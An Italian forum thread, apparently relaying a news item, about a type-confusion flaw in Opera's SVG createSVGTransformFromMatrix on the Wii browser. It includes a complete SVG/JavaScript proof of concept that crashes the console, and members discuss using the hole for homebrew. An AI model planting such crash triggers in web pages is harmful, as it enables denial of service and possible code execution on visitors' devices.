Opera è vulnerabile!

[Hide]

A flaw exists within Opera's Javascript SVG implementation. When processing a createSVGTransformFromMatrix request Opera does not properly validate the type of object passed to the function. Passing an incorrect object to this function can result in it using a pointer that is user controlled when it attempts to make the virtual function call.

Exploitation of this vulnerability would allow an attacker to execute arbitrary code on the affected host. The attacker would first need to construct a website containing the malicious JavaScript and trick the vulnerable user into visiting the site. This would trigger the vulnerability and allow the code to execute with the privileges of the local user.

This exploit could possibly be used to run code on the Wii!

If you would like to see this in action, surf to this site on your Wii browser and click HERE. This will cause your Wii to crash!!!

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg id="mySVG" width="100%" height="100%" version="1.1"
xmlns="http://www.w3.org/2000/svg">

<rect width="300" height="100"
style="fill:rgb(0,0,255);stroke-width:1;
stroke:rgb(0,0,0)"/>

<script>
var svg = document.getElementById("mySVG");
var matrix = svg.createSVGMatrix();
var i=0xffffffff, randomObject = {a:i,b:i,c:i,d:i,e:i,f:i};

try{
svg.createSVGTransformFromMatrix(matrix);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(randomObject);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(null);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(i);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(new Array(i));
}catch(e){}
</script>

</svg>

Ormai è solo questione di settimane

Fonte: Wiinewz

[Hitman47]

Originalmente inviato da Hide

Ormai è solo questione di settimane

per cosa??
far girare un virus sul Wii...??

[Hide]

Originalmente inviato da Hitman47

per cosa??
far girare un virus sul Wii...??

ricorda che non tutti i mali vengono per nuocere

[Shion]

Vogliamo la traduzione Hide

[Hide]

Originalmente inviato da Shion

Vogliamo la traduzione Hide

Vabbè traduco al volo,scusate se non l'ho messa direttamente tradotta ma non volevo renderla troppo sintetica :

Opera presenta un bug,che,inserendo sul proprio sito uno script particolare permette di inviare " informazioni " alla console,informazioni,in termine informatico,può racchiudere svarianti significati,varianti funzioni ( non mi linciate se sbaglio qualcosa ) ma la principale sarebbe comunicare con il wii con gli stessi permessi che ha il wii stesso,il che vuol dire entrare nel cuore dell'OS stesso e capire come poter operare con gli homebrew..
Provando il link sul wii come specificato il wii va in crash,proprio perchè al suo interno lo script ha inviato l'informazione di far crashare la console .

[NakedSnake69]

chi sa che risate se rilasciano un worm per wii come sasser o blaster che ogni 60 secondi fa crashare la console

[RaidenXtribe]

Originalmente inviato da Hitman47

per cosa??
far girare un virus sul Wii...??

Traduco la parte saliente, altrimenti si ripetono domande del genere...

This exploit could possibly be used to run code on the Wii!
Questo exploit potrebbe esse utilizzato per lanciare proprio codice sul Wii!

[Hitman47]

Originalmente inviato da RaidenXtribe

Traduco la parte saliente, altrimenti si ripetono domande del genere...

This exploit could possibly be used to run code on the Wii!
Questo exploit potrebbe esse utilizzato per lanciare proprio codice sul Wii!

davvero!!!???
non l'avrei mai detto....ma cosa mi dici mai...


Comunque ricordiamo Opera al momento è una Beta....proprio per tastare e testare problemi del genere...

[Hide]

Originalmente inviato da Hitman47

davvero!!!???
non l'avrei mai detto....ma cosa mi dici mai...


Comunque ricordiamo Opera al momento è una Beta....proprio per tastare e testare problemi del genere...

e proprio perchè ci sono i problemi che mi terrò il beta finchè non usciranno custom firmware o emulazioni proprio come la psp!

edit : ciò che è un problema per la casa madre...è un vantaggio per l'hacker

[Shion]

Se è un buco grande come quello trovato sulla PSP sono mooolto avanti !





ps: scherzavo sulla traduzione Hideo